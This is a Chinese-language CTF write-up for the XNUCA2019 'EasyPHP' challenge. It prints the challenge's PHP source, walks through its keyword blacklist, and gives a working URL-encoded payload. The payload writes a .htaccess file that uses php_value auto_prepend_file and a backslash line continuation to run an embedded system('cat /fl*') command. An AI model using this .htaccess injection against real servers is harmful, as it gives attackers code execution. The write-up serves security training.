# [XNUCA2019Qualifier]EasyPHP
源码:
<?php | |
$files = scandir('./'); | |
foreach($files as $file) { | |
if(is_file($file)){ | |
if ($file !== "index.php") { | |
unlink($file); | |
} | |
} | |
} | |
include_once("fl3g.php"); | |
if(!isset($_GET['content']) || !isset($_GET['filename'])) { | |
highlight_file(__FILE__); | |
die(); | |
} | |
$content = $_GET['content']; | |
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { | |
echo "Hacker"; | |
die(); | |
} | |
$filename = $_GET['filename']; | |
if(preg_match("/[^a-z\.]/", $filename) == 1) { | |
echo "Hacker"; | |
die(); | |
} | |
$files = scandir('./'); | |
foreach($files as $file) { | |
if(is_file($file)){ | |
if ($file !== "index.php") { | |
unlink($file); | |
} | |
} | |
} | |
file_put_contents($filename, $content . "\nJust one chance"); | |
?> |
分析:
文件清理:代码首先扫描当前目录中的文件,然后尝试删除除index.php之外的所有文件。
包含外部文件:它包含一个名为的文件fl3g.php。
输入验证:检查URL 中的参数content(黑名单:on,html,type,flag,upload,file)。filename(匹配任何不是小写字母(a-z)和点(.)的字符)
安全检查:它进行检查以防止某些模式content并验证filename。
最终文件写入:如果所有检查都通过,它会将其写入content指定内容filename并附加“仅一次机会”。
文件名有。和字母的就可以想到配置文件,并且写的东西 content 还没有过滤
首选.htaccess 文件(方法很多:https://xz.aliyun.com/t/8267?time__1311=n4%2BxnD0Dc7exyDjxYqGNWPtsAYY5GO4rlWReD#toc-6):
最简单的就是 php_value 方法:(file 被禁了可以用 \ 绕过)
?content=php_value auto_prepend_fi\
le .htaccess
#<?php system('cat /fl*');?>\&filename=.htaccess
url 编码一下:
?content=php_value%20auto_prepend_fi%5C%0Ale%20.htaccess%0A%23%3C%3Fphp%20system('cat%20%2Ffl*')%3B%3F%3E%5C&filename=.htaccess
直接回 index.php 看 flag

参考链接:https://blog.csdn.net/shinygod/article/details/129338836